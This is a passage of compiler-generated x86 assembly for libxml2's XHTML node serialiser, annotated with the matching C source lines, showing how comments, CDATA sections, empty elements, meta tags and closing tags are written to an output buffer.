push DWORD PTR [esi+116]
push eax
push edi
call _xmlOutputBufferWriteEscape
; 1537 : xmlOutputBufferWrite(buf, 12, "<![CDATA[]]>");
add esp, 12 ; 0000000cH
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN19@xhtmlNodeD:
; 1500 : }
; 1501 : }
; 1502 :
; 1503 : return;
; 1504 : }
; 1505 : if (cur->type == XML_PI_NODE) {
cmp eax, 7
jne SHORT $LN24@xhtmlNodeD
; 1506 : if (cur->content != NULL) {
mov esi, DWORD PTR [ebx+40]
push OFFSET ??_C@_02HFBBBACF@?$DM?$DP@
push 2
push edi
call _xmlOutputBufferWrite
push DWORD PTR [ebx+8]
push edi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
test esi, esi
je SHORT $LN25@xhtmlNodeD
; 1507 : xmlOutputBufferWrite(buf, 2, "<?");
; 1508 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
; 1509 : if (cur->content != NULL) {
cmp DWORD PTR [ebx+40], 0
je SHORT $LN25@xhtmlNodeD
; 1510 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push edi
call _xmlOutputBufferWrite
; 1511 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
push DWORD PTR [ebx+40]
push edi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
$LN25@xhtmlNodeD:
; 1512 : }
; 1513 : xmlOutputBufferWrite(buf, 2, "?>");
; 1514 : } else {
; 1515 : xmlOutputBufferWrite(buf, 2, "<?");
; 1516 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
; 1517 : xmlOutputBufferWrite(buf, 2, "?>");
; 1518 : }
; 1519 : return;
push OFFSET ??_C@_02GOEMJPDN@?$DP?$DO@
push 2
; 1537 : xmlOutputBufferWrite(buf, 12, "<![CDATA[]]>");
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN188@xhtmlNodeD:
pop edi
pop esi
$LN1@xhtmlNodeD:
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN24@xhtmlNodeD:
; 1520 : }
; 1521 : if (cur->type == XML_COMMENT_NODE) {
cmp eax, 8
jne SHORT $LN28@xhtmlNodeD
; 1522 : if (cur->content != NULL) {
cmp DWORD PTR [ebx+40], 0
je SHORT $LN188@xhtmlNodeD
; 1523 : xmlOutputBufferWrite(buf, 4, "<!--");
push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
push 4
push edi
call _xmlOutputBufferWrite
; 1524 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
push DWORD PTR [ebx+40]
push edi
call _xmlOutputBufferWriteString
; 1525 : xmlOutputBufferWrite(buf, 3, "-->");
push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN28@xhtmlNodeD:
; 1526 : }
; 1527 : return;
; 1528 : }
; 1529 : if (cur->type == XML_ENTITY_REF_NODE) {
cmp eax, 5
jne SHORT $LN30@xhtmlNodeD
; 1530 : xmlOutputBufferWrite(buf, 1, "&");
push OFFSET ??_C@_01HNPIGOCE@?$CG@
push 1
push edi
call _xmlOutputBufferWrite
; 1531 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [ebx+8]
push edi
call _xmlOutputBufferWriteString
; 1532 : xmlOutputBufferWrite(buf, 1, ";");
push OFFSET ??_C@_01ICJEACDI@?$DL@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN30@xhtmlNodeD:
; 1533 : return;
; 1534 : }
; 1535 : if (cur->type == XML_CDATA_SECTION_NODE) {
cmp eax, 4
jne $LN31@xhtmlNodeD
; 1536 : if (cur->content == NULL || *cur->content == '\0') {
mov esi, DWORD PTR [ebx+40]
test esi, esi
je $LN34@xhtmlNodeD
mov al, BYTE PTR [esi]
test al, al
je SHORT $LN34@xhtmlNodeD
; 1538 : } else {
; 1539 : start = end = cur->content;
mov ebx, esi
$LL2@xhtmlNodeD:
; 1540 : while (*end != '\0') {
; 1541 : if (*end == ']' && *(end + 1) == ']' && *(end + 2) == '>') {
cmp al, 93 ; 0000005dH
jne SHORT $LN35@xhtmlNodeD
cmp BYTE PTR [esi+1], al
jne SHORT $LN35@xhtmlNodeD
cmp BYTE PTR [esi+2], 62 ; 0000003eH
lea eax, DWORD PTR [esi+2]
jne SHORT $LN35@xhtmlNodeD
; 1542 : end = end + 2;
; 1543 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
push 9
push edi
mov esi, eax
call _xmlOutputBufferWrite
; 1544 : xmlOutputBufferWrite(buf, end - start, (const char *)start);
mov eax, esi
push ebx
sub eax, ebx
push eax
push edi
call _xmlOutputBufferWrite
; 1545 : xmlOutputBufferWrite(buf, 3, "]]>");
push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 36 ; 00000024H
; 1546 : start = end;
mov ebx, esi
$LN35@xhtmlNodeD:
; 1547 : }
; 1548 : end++;
mov al, BYTE PTR [esi+1]
inc esi
test al, al
jne SHORT $LL2@xhtmlNodeD
; 1549 : }
; 1550 : if (start != end) {
cmp ebx, esi
je $LN188@xhtmlNodeD
; 1551 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
push 9
push edi
call _xmlOutputBufferWrite
; 1552 : xmlOutputBufferWriteString(buf, (const char *)start);
push ebx
push edi
call _xmlOutputBufferWriteString
; 1553 : xmlOutputBufferWrite(buf, 3, "]]>");
push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN34@xhtmlNodeD:
; 1537 : xmlOutputBufferWrite(buf, 12, "<![CDATA[]]>");
push OFFSET ??_C@_0N@OGBMJHND@?$DM?$CB?$FLCDATA?$FL?$FN?$FN?$DO@
push 12 ; 0000000cH
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN31@xhtmlNodeD:
; 1554 : }
; 1555 : }
; 1556 : return;
; 1557 : }
; 1558 : if (cur->type == XML_ATTRIBUTE_NODE) {
cmp eax, 2
jne SHORT $LN37@xhtmlNodeD
; 1559 : xmlAttrDumpOutput(ctxt, (xmlAttrPtr) cur);
push ebx
push esi
call _xmlAttrDumpOutput
add esp, 8
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN37@xhtmlNodeD:
; 1560 : return;
; 1561 : }
; 1562 :
; 1563 : format = ctxt->format;
mov eax, DWORD PTR [esi+40]
mov DWORD PTR _format$1$[ebp], eax
; 1564 : if (format == 1) {
cmp eax, 1
jne SHORT $LN5@xhtmlNodeD
; 1565 : tmp = cur->children;
mov eax, DWORD PTR [ebx+12]
; 1566 : while (tmp != NULL) {
test eax, eax
je SHORT $LN5@xhtmlNodeD
$LL4@xhtmlNodeD:
; 1567 : if ((tmp->type == XML_TEXT_NODE) ||
mov ecx, DWORD PTR [eax+4]
cmp ecx, 3
je SHORT $LN171@xhtmlNodeD
cmp ecx, 5
je SHORT $LN171@xhtmlNodeD
; 1570 : break;
; 1571 : }
; 1572 : tmp = tmp->next;
mov eax, DWORD PTR [eax+24]
test eax, eax
jne SHORT $LL4@xhtmlNodeD
; 1608 : if (xmlStrcasecmp(httpequiv, BAD_CAST"Content-Type") == 0) {
jmp SHORT $LN5@xhtmlNodeD
$LN171@xhtmlNodeD:
; 1568 : (tmp->type == XML_ENTITY_REF_NODE)) {
; 1569 : format = 0;
mov DWORD PTR _format$1$[ebp], 0
$LN5@xhtmlNodeD:
; 1573 : }
; 1574 : }
; 1575 : xmlOutputBufferWrite(buf, 1, "<");
push OFFSET ??_C@_01MNNFJEPP@?$DM@
push 1
push edi
call _xmlOutputBufferWrite
; 1576 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [ebx+36]
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN41@xhtmlNodeD
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN41@xhtmlNodeD
; 1577 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push edi
call _xmlOutputBufferWriteString
; 1578 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN41@xhtmlNodeD:
; 1579 : }
; 1580 :
; 1581 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [ebx+8]
push edi
call _xmlOutputBufferWriteString
; 1582 : if (cur->nsDef)
mov eax, DWORD PTR [ebx+48]
add esp, 8
test eax, eax
je SHORT $LN42@xhtmlNodeD
; 1583 : xmlNsListDumpOutputCtxt(ctxt, cur->nsDef);
push eax
push esi
call _xmlNsListDumpOutputCtxt
add esp, 8
$LN42@xhtmlNodeD:
; 1584 : if ((xmlStrEqual(cur->name, BAD_CAST "html") &&
; 1585 : (cur->ns == NULL) && (cur->nsDef == NULL))) {
push OFFSET ??_C@_04PNIFHPHN@html@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN43@xhtmlNodeD
cmp DWORD PTR [ebx+36], 0
jne SHORT $LN43@xhtmlNodeD
cmp DWORD PTR [ebx+48], 0
jne SHORT $LN43@xhtmlNodeD
; 1586 : /*
; 1587 : * 3.1.1. Strictly Conforming Documents A.3.1.1 3/
; 1588 : */
; 1589 : xmlOutputBufferWriteString(buf,
push OFFSET ??_C@_0CG@NOKOIAPK@?5xmlns?$DN?$CChttp?3?1?1www?4w3?4org?11999?1@
push edi
call _xmlOutputBufferWriteString
add esp, 8
$LN43@xhtmlNodeD:
; 1590 : " xmlns=\"http://www.w3.org/1999/xhtml\"");
; 1591 : }
; 1592 : if (cur->properties != NULL)
mov eax, DWORD PTR [ebx+44]
test eax, eax
je SHORT $LN44@xhtmlNodeD
; 1593 : xhtmlAttrListDumpOutput(ctxt, cur->properties);
push eax
push esi
call _xhtmlAttrListDumpOutput
add esp, 8
$LN44@xhtmlNodeD:
; 1594 :
; 1595 : if ((cur->type == XML_ELEMENT_NODE) &&
; 1596 : (cur->parent != NULL) &&
; 1597 : (cur->parent->parent == (xmlNodePtr) cur->doc) &&
; 1598 : xmlStrEqual(cur->name, BAD_CAST"head") &&
cmp DWORD PTR [ebx+4], 1
jne $LN186@xhtmlNodeD
mov eax, DWORD PTR [ebx+20]
test eax, eax
je $LN49@xhtmlNodeD
mov eax, DWORD PTR [eax+20]
cmp eax, DWORD PTR [ebx+32]
jne $LN49@xhtmlNodeD
push OFFSET ??_C@_04NEODDMOL@head@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN49@xhtmlNodeD
mov eax, DWORD PTR [ebx+20]
push OFFSET ??_C@_04PNIFHPHN@html@
push DWORD PTR [eax+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN49@xhtmlNodeD
; 1599 : xmlStrEqual(cur->parent->name, BAD_CAST"html")) {
; 1600 :
; 1601 : tmp = cur->children;
mov eax, DWORD PTR [ebx+12]
mov DWORD PTR _tmp$2$[ebp], eax
; 1602 : while (tmp != NULL) {
test eax, eax
je SHORT $LN187@xhtmlNodeD
npad 8
$LL6@xhtmlNodeD:
; 1603 : if (xmlStrEqual(tmp->name, BAD_CAST"meta")) {
push OFFSET ??_C@_04HLJJCGEF@meta@
push DWORD PTR [eax+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN47@xhtmlNodeD
; 1604 : xmlChar *httpequiv;
; 1605 :
; 1606 : httpequiv = xmlGetProp(tmp, BAD_CAST"http-equiv");
push OFFSET ??_C@_0L@NALBGOHO@http?9equiv@
push DWORD PTR _tmp$2$[ebp]
call _xmlGetProp
add esp, 8
mov DWORD PTR _httpequiv$1$[ebp], eax
; 1607 : if (httpequiv != NULL) {
test eax, eax
je SHORT $LN47@xhtmlNodeD
; 1608 : if (xmlStrcasecmp(httpequiv, BAD_CAST"Content-Type") == 0) {
push OFFSET ??_C@_0N@LAFFMKKA@Content?9Type@
push eax
call _xmlStrcasecmp
add esp, 8
push DWORD PTR _httpequiv$1$[ebp]
test eax, eax
je SHORT $LN172@xhtmlNodeD
; 1610 : break;
; 1611 : }
; 1612 : xmlFree(httpequiv);
call DWORD PTR _xmlFree
add esp, 4
$LN47@xhtmlNodeD:
; 1613 : }
; 1614 : }
; 1615 : tmp = tmp->next;
mov eax, DWORD PTR _tmp$2$[ebp]
mov eax, DWORD PTR [eax+24]
mov DWORD PTR _tmp$2$[ebp], eax
test eax, eax
jne SHORT $LL6@xhtmlNodeD
$LN187@xhtmlNodeD:
; 1618 : addmeta = 1;
mov DWORD PTR _addmeta$1$[ebp], 1
$LN49@xhtmlNodeD:
; 1619 : }
; 1620 :
; 1621 : if ((cur->type == XML_ELEMENT_NODE) && (cur->children == NULL)) {
cmp DWORD PTR [ebx+4], 1
jne $LN186@xhtmlNodeD
cmp DWORD PTR [ebx+12], 0
jne $LN186@xhtmlNodeD
; 1622 : if (((cur->ns == NULL) || (cur->ns->prefix == NULL)) &&
mov eax, DWORD PTR [ebx+36]
test eax, eax
je SHORT $LN179@xhtmlNodeD
cmp DWORD PTR [eax+12], 0
jne SHORT $LN51@xhtmlNodeD
; 1271 : if ((node->ns != NULL) && (!xmlStrEqual(node->ns->href, XHTML_NS_NAME)))
push OFFSET ??_C@_0BN@BMFLMPPL@http?3?1?1www?4w3?4org?11999?1xhtml@
push DWORD PTR [eax+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN51@xhtmlNodeD
$LN179@xhtmlNodeD:
; 1272 : return(0);
; 1273 : if (node->children != NULL)
cmp DWORD PTR [ebx+12], 0
jne SHORT $LN51@xhtmlNodeD
; 1274 : return(0);
; 1275 : switch (node->name[0]) {
mov ecx, DWORD PTR [ebx+8]
movzx eax, BYTE PTR [ecx]
add eax, -97 ; ffffff9fH
cmp eax, 15 ; 0000000fH
ja SHORT $LN51@xhtmlNodeD
jmp DWORD PTR $LN196@xhtmlNodeD[eax*4]
$LN172@xhtmlNodeD:
; 1609 : xmlFree(httpequiv);
call DWORD PTR _xmlFree
add esp, 4
; 1616 : }
; 1617 : if (tmp == NULL)
jmp SHORT $LN49@xhtmlNodeD
$LN145@xhtmlNodeD:
; 1277 : if (xmlStrEqual(node->name, BAD_CAST "area"))
push OFFSET ??_C@_04GOEDGNCF@area@
$LN192@xhtmlNodeD:
; 1628 : } else {
; 1629 : if (addmeta == 1) {
push ecx
$LN191@xhtmlNodeD:
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN185@xhtmlNodeD
$LN51@xhtmlNodeD:
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
cmp DWORD PTR _addmeta$1$[ebp], 1
jne $LN60@xhtmlNodeD
; 1630 : xmlOutputBufferWrite(buf, 1, ">");
; 1631 : if (ctxt->format == 1) {
cmp DWORD PTR [esi+40], 1
jne SHORT $LN57@xhtmlNodeD
; 1632 : xmlOutputBufferWrite(buf, 1, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1633 : if (xmlIndentTreeOutput)
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN57@xhtmlNodeD
; 1634 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov ecx, DWORD PTR [esi+36]
lea eax, DWORD PTR [esi+44]
mov edx, DWORD PTR [esi+108]
inc ecx
cmp ecx, edx
push eax
cmovle edx, ecx
imul edx, DWORD PTR [esi+112]
push edx
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN57@xhtmlNodeD:
; 1635 : (ctxt->level + 1 > ctxt->indent_nr ?
; 1636 : ctxt->indent_nr : ctxt->level + 1), ctxt->indent);
; 1637 : }
; 1638 : xmlOutputBufferWriteString(buf,
push OFFSET ??_C@_0DN@ILJMDLKG@?$DMmeta?5http?9equiv?$DN?$CCContent?9Type?$CC@
push edi
call _xmlOutputBufferWriteString
; 1639 : "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=");
; 1640 : if (ctxt->encoding) {
mov eax, DWORD PTR [esi+16]
add esp, 8
test eax, eax
je $LN58@xhtmlNodeD
; 1641 : xmlOutputBufferWriteString(buf, (const char *)ctxt->encoding);
push eax
push edi
call _xmlOutputBufferWriteString
add esp, 8
; 1642 : } else {
jmp $LN59@xhtmlNodeD
$LN147@xhtmlNodeD:
; 1281 : if (xmlStrEqual(node->name, BAD_CAST "br"))
push OFFSET ??_C@_02FGOECCNH@br@
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN185@xhtmlNodeD
; 1282 : return(1);
; 1283 : if (xmlStrEqual(node->name, BAD_CAST "base"))
push OFFSET ??_C@_04BHIIPFEC@base@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN185@xhtmlNodeD
; 1284 : return(1);
; 1285 : if (xmlStrEqual(node->name, BAD_CAST "basefont"))
push OFFSET ??_C@_08IOLGIJGJ@basefont@
push DWORD PTR [ebx+8]
; 1286 : return(1);
; 1287 : return(0);
jmp $LN191@xhtmlNodeD
$LN151@xhtmlNodeD:
; 1288 : case 'c':
; 1289 : if (xmlStrEqual(node->name, BAD_CAST "col"))
push OFFSET ??_C@_03HNOLNALI@col@
; 1290 : return(1);
; 1291 : return(0);
jmp $LN192@xhtmlNodeD
$LN153@xhtmlNodeD:
; 1292 : case 'f':
; 1293 : if (xmlStrEqual(node->name, BAD_CAST "frame"))
push OFFSET ??_C@_05MIJNFGED@frame@
; 1294 : return(1);
; 1295 : return(0);
jmp $LN192@xhtmlNodeD
$LN155@xhtmlNodeD:
; 1296 : case 'h':
; 1297 : if (xmlStrEqual(node->name, BAD_CAST "hr"))
push OFFSET ??_C@_02FLHDKHAB@hr@
; 1298 : return(1);
; 1299 : return(0);
jmp $LN192@xhtmlNodeD
$LN157@xhtmlNodeD:
; 1300 : case 'i':
; 1301 : if (xmlStrEqual(node->name, BAD_CAST "img"))
push OFFSET ??_C@_03PCCGDNHJ@img@
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN185@xhtmlNodeD
; 1302 : return(1);
; 1303 : if (xmlStrEqual(node->name, BAD_CAST "input"))
push OFFSET ??_C@_05DFJCHPDH@input@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN185@xhtmlNodeD
; 1304 : return(1);
; 1305 : if (xmlStrEqual(node->name, BAD_CAST "isindex"))
push OFFSET ??_C@_07JMLOFMGP@isindex@
push DWORD PTR [ebx+8]
; 1306 : return(1);
; 1307 : return(0);
jmp $LN191@xhtmlNodeD
$LN161@xhtmlNodeD:
; 1308 : case 'l':
; 1309 : if (xmlStrEqual(node->name, BAD_CAST "link"))
push OFFSET ??_C@_04OHHBHOGB@link@
; 1310 : return(1);
; 1311 : return(0);
jmp $LN192@xhtmlNodeD
$LN163@xhtmlNodeD:
; 1312 : case 'm':
; 1313 : if (xmlStrEqual(node->name, BAD_CAST "meta"))
push OFFSET ??_C@_04HLJJCGEF@meta@
; 1314 : return(1);
; 1315 : return(0);
jmp $LN192@xhtmlNodeD
$LN165@xhtmlNodeD:
; 1316 : case 'p':
; 1317 : if (xmlStrEqual(node->name, BAD_CAST "param"))
push OFFSET ??_C@_05LJDNNBIK@param@
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN51@xhtmlNodeD
$LN185@xhtmlNodeD:
; 1622 : if (((cur->ns == NULL) || (cur->ns->prefix == NULL)) &&
cmp DWORD PTR _addmeta$1$[ebp], 0
jne $LN51@xhtmlNodeD
; 1623 : ((xhtmlIsEmpty(cur) == 1) && (addmeta == 0))) {
; 1624 : /*
; 1625 : * C.2. Empty Elements
; 1626 : */
; 1627 : xmlOutputBufferWrite(buf, 3, " />");
mov ecx, OFFSET ??_C@_03MFNJFHN@?5?1?$DO@
mov eax, 3
; 1661 : }
; 1662 : return;
push ecx
push eax
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN58@xhtmlNodeD:
; 1643 : xmlOutputBufferWrite(buf, 5, "UTF-8");
push OFFSET ??_C@_05EGJIMALK@UTF?98@
push 5
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN59@xhtmlNodeD:
; 1644 : }
; 1645 : xmlOutputBufferWrite(buf, 4, "\" />");
push OFFSET ??_C@_04FADKMBBI@?$CC?5?1?$DO@
push 4
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1646 : if (ctxt->format == 1)
cmp DWORD PTR [esi+40], 1
jne SHORT $LN60@xhtmlNodeD
; 1647 : xmlOutputBufferWrite(buf, 1, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN60@xhtmlNodeD:
; 1648 : } else {
; 1649 : xmlOutputBufferWrite(buf, 1, ">");
; 1650 : }
; 1651 : /*
; 1652 : * C.3. Element Minimization and Empty Element Content
; 1653 : */
; 1654 : xmlOutputBufferWrite(buf, 2, "</");
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
push 2
push edi
call _xmlOutputBufferWrite
; 1655 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [ebx+36]
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN61@xhtmlNodeD
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN61@xhtmlNodeD
; 1656 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push edi
call _xmlOutputBufferWriteString
; 1657 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN61@xhtmlNodeD:
; 1658 : }
; 1659 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [ebx+8]
push edi
call _xmlOutputBufferWriteString
add esp, 8
; 1660 : xmlOutputBufferWrite(buf, 1, ">");
mov ecx, OFFSET ??_C@_01PPODPGHN@?$DO@
mov eax, 1
; 1661 : }
; 1662 : return;
push ecx
push eax
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN186@xhtmlNodeD:
; 1663 : }
; 1664 : xmlOutputBufferWrite(buf, 1, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1665 : if (addmeta == 1) {
cmp DWORD PTR _addmeta$1$[ebp], 1
jne $LN62@xhtmlNodeD
; 1666 : if (ctxt->format == 1) {
cmp DWORD PTR [esi+40], 1
jne SHORT $LN64@xhtmlNodeD
; 1667 : xmlOutputBufferWrite(buf, 1, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1668 : if (xmlIndentTreeOutput)
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN64@xhtmlNodeD
; 1669 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov ecx, DWORD PTR [esi+36]
lea eax, DWORD PTR [esi+44]
mov edx, DWORD PTR [esi+108]
inc ecx
cmp ecx, edx
push eax
cmovle edx, ecx
imul edx, DWORD PTR [esi+112]
push edx
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN64@xhtmlNodeD:
; 1670 : (ctxt->level + 1 > ctxt->indent_nr ?
; 1671 : ctxt->indent_nr : ctxt->level + 1), ctxt->indent);
; 1672 : }
; 1673 : xmlOutputBufferWriteString(buf,
push OFFSET ??_C@_0DN@ILJMDLKG@?$DMmeta?5http?9equiv?$DN?$CCContent?9Type?$CC@
push edi
call _xmlOutputBufferWriteString
; 1674 : "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=");
; 1675 : if (ctxt->encoding) {
mov eax, DWORD PTR [esi+16]
add esp, 8
test eax, eax
je SHORT $LN65@xhtmlNodeD
; 1676 : xmlOutputBufferWriteString(buf, (const char *)ctxt->encoding);
push eax
push edi
call _xmlOutputBufferWriteString
add esp, 8
; 1677 : } else {
jmp SHORT $LN66@xhtmlNodeD
$LN65@xhtmlNodeD:
; 1678 : xmlOutputBufferWrite(buf, 5, "UTF-8");
push OFFSET ??_C@_05EGJIMALK@UTF?98@
push 5
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN66@xhtmlNodeD:
; 1679 : }
; 1680 : xmlOutputBufferWrite(buf, 4, "\" />");
push OFFSET ??_C@_04FADKMBBI@?$CC?5?1?$DO@
push 4
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN62@xhtmlNodeD:
; 1681 : }
; 1682 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
cmp DWORD PTR [ebx+4], 1
je SHORT $LN67@xhtmlNodeD
mov eax, DWORD PTR [ebx+40]
test eax, eax
je SHORT $LN67@xhtmlNodeD
; 1683 : xmlOutputBufferWriteEscape(buf, cur->content, ctxt->escape);
push DWORD PTR [esi+116]
push eax
push edi
call _xmlOutputBufferWriteEscape
add esp, 12 ; 0000000cH
$LN67@xhtmlNodeD:
; 1684 : }
; 1685 :
; 1686 : #if 0
; 1687 : /*
; 1688 : * This was removed due to problems with HTML processors.
; 1689 : * See bug #345147.
; 1690 : */
; 1691 : /*
; 1692 : * 4.8. Script and Style elements
; 1693 : */
; 1694 : if ((cur->type == XML_ELEMENT_NODE) &&
; 1695 : ((xmlStrEqual(cur->name, BAD_CAST "script")) ||
; 1696 : (xmlStrEqual(cur->name, BAD_CAST "style"))) &&
; 1697 : ((cur->ns == NULL) ||
; 1698 : (xmlStrEqual(cur->ns->href, XHTML_NS_NAME)))) {
; 1699 : xmlNodePtr child = cur->children;
; 1700 :
; 1701 : while (child != NULL) {
; 1702 : if (child->type == XML_TEXT_NODE) {
; 1703 : if ((xmlStrchr(child->content, '<') == NULL) &&
; 1704 : (xmlStrchr(child->content, '&') == NULL) &&
; 1705 : (xmlStrstr(child->content, BAD_CAST "]]>") == NULL)) {
; 1706 : /* Nothing to escape, so just output as is... */
; 1707 : /* FIXME: Should we do something about "--" also? */
; 1708 : int level = ctxt->level;
; 1709 : int indent = ctxt->format;
; 1710 :
; 1711 : ctxt->level = 0;
; 1712 : ctxt->format = 0;
; 1713 : xmlOutputBufferWriteString(buf, (const char *) child->content);
; 1714 : /* (We cannot use xhtmlNodeDumpOutput() here because
; 1715 : * we wish to leave '>' unescaped!) */
; 1716 : ctxt->level = level;
; 1717 : ctxt->format = indent;
; 1718 : } else {
; 1719 : /* We must use a CDATA section. Unfortunately,
; 1720 : * this will break CSS and JavaScript when read by
; 1721 : * a browser in HTML4-compliant mode. :-( */
; 1722 : start = end = child->content;
; 1723 : while (*end != '\0') {
; 1724 : if (*end == ']' &&
; 1725 : *(end + 1) == ']' &&
; 1726 : *(end + 2) == '>') {
; 1727 : end = end + 2;
; 1728 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
; 1729 : xmlOutputBufferWrite(buf, end - start,
; 1730 : (const char *)start);
; 1731 : xmlOutputBufferWrite(buf, 3, "]]>");
; 1732 : start = end;
; 1733 : }
; 1734 : end++;
; 1735 : }
; 1736 : if (start != end) {
; 1737 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
; 1738 : xmlOutputBufferWrite(buf, end - start,
; 1739 : (const char *)start);
; 1740 : xmlOutputBufferWrite(buf, 3, "]]>");
; 1741 : }
; 1742 : }
; 1743 : } else {
; 1744 : int level = ctxt->level;
; 1745 : int indent = ctxt->format;
; 1746 :
; 1747 : ctxt->level = 0;
; 1748 : ctxt->format = 0;
; 1749 : xhtmlNodeDumpOutput(ctxt, child);
; 1750 : ctxt->level = level;
; 1751 : ctxt->format = indent;
; 1752 : }
; 1753 : child = child->next;
; 1754 : }
; 1755 : }
; 1756 : #endif
; 1757 :
; 1758 : if (cur->children != NULL) {
cmp DWORD PTR [ebx+12], 0
je SHORT $LN72@xhtmlNodeD
; 1759 : int indent = ctxt->format;
; 1760 :
; 1761 : if (format == 1) xmlOutputBufferWrite(buf, 1, "\n");
mov ecx, DWORD PTR _format$1$[ebp]
mov eax, DWORD PTR [esi+40]
mov DWORD PTR _indent$1$[ebp], eax
cmp ecx, 1
jne SHORT $LN69@xhtmlNodeD
push OFFSET ??_C@_01EEMJAFIK@?6@
push ecx
push edi
call _xmlOutputBufferWrite
mov ecx, DWORD PTR _format$1$[ebp]
add esp, 12 ; 0000000cH
$LN69@xhtmlNodeD:
; 1762 : if (ctxt->level >= 0) ctxt->level++;
